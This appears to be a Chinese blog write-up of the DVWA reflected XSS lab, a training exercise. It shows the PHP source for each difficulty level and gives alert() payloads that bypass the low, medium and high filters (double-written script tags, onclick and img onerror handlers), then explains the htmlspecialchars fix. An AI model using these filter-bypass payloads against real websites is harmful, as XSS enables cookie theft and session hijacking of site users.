DVWA之XSS (Reflected)

XSS,全称Cross Site Scripting,即跨站脚本攻击,也相当于是一种代码注入攻击,hacker在页面中注入恶意的脚本代码,当受害者访问该页面时,恶意代码会在其浏览器上执行(这里要说明下,XSS不仅仅限于JavaScript,还包括flash等其它脚本语言)。

根据注入的恶意代码是否存储在服务器数据库中,XSS可以分为存储型的XSS反射型的XSS

还有DOM型的XSS由于其特殊性,常常被分为第三种,这是一种基于DOM树的XSS。例如:服务器端经常使用document.boby.innerHtml等函数动态生成html页面,如果这些函数在引用某些变量时没有进行过滤或检查,就会产生DOM型的XSS。

注:DOM型XSS可能是存储型,也有可能是反射型。

XSS利用的常见用途:
盗取用户cookies、劫持会话、流量劫持、网页挂马、DDOS、提升权限…

这篇文章学习反射型XSS:

反射型XSS:非持久化,需要欺骗用户自己去点击带有特定参数的XSS代码链接才能触发引起(服务器中没有这样的页面和内容),一般容易出现在搜索页面。

low level

view-source:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Feedback for end user
    echo '<pre>Hello ' . $_GET[ 'name' ] . '</pre>';
}

?>

没有任何过滤,直接上测试代码:<script>alert(1)</script>
弹窗
弹窗即OK!

medium level

view-source:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = str_replace( '<script>', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

利用str_replace将<script>替换为空,这个有以下方式绕过:
1、双写绕过
payload:<scr<script>ipt>alert(1)</script>

原理将<scr<script>ipt>里边的<script>替换为空的时候前后的代码重新组成

3、利用其他标签绕过
例如:<body onclick=alert(1)>
<a href='' οnclick=alert(1)>click</a>
<a href='' οnclick=alert(/ss/)>click</a>

均可以弹窗!

high level

view-source:


<?php

header ("X-XSS-Protection: 0");

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Get input
    $name = preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i', '', $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

?>

看代码preg_replace( '/<(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i'过滤了所有<script>的情况,因此以上方法不适用了,换一种思路:

使用其他标签利用src注入恶意的JS代码可以绕过上面的过滤:
例如:
payload:<img src=1 onerror=alert('1')>
还可以用其他标签,不过没有一个个去试…
弹窗
**

impossible

**
view-source:

<?php

// Is there any input?
if( array_key_exists( "name", $_GET ) && $_GET[ 'name' ] != NULL ) {
    // Check Anti-CSRF token
    checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );

    // Get input
    $name = htmlspecialchars( $_GET[ 'name' ] );

    // Feedback for end user
    echo "<pre>Hello ${name}</pre>";
}

// Generate Anti-CSRF token
generateSessionToken();

?>
	Impossible级别的代码使用htmlspecialchars函数把预定义的字符&、”、 ’、<、>转换为 HTML 实体,防止浏览器将其作为HTML元素
	这里没办法XSS......

其他的会后续慢慢更新,尽可能提高自己的能力 。

【小白初试】

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值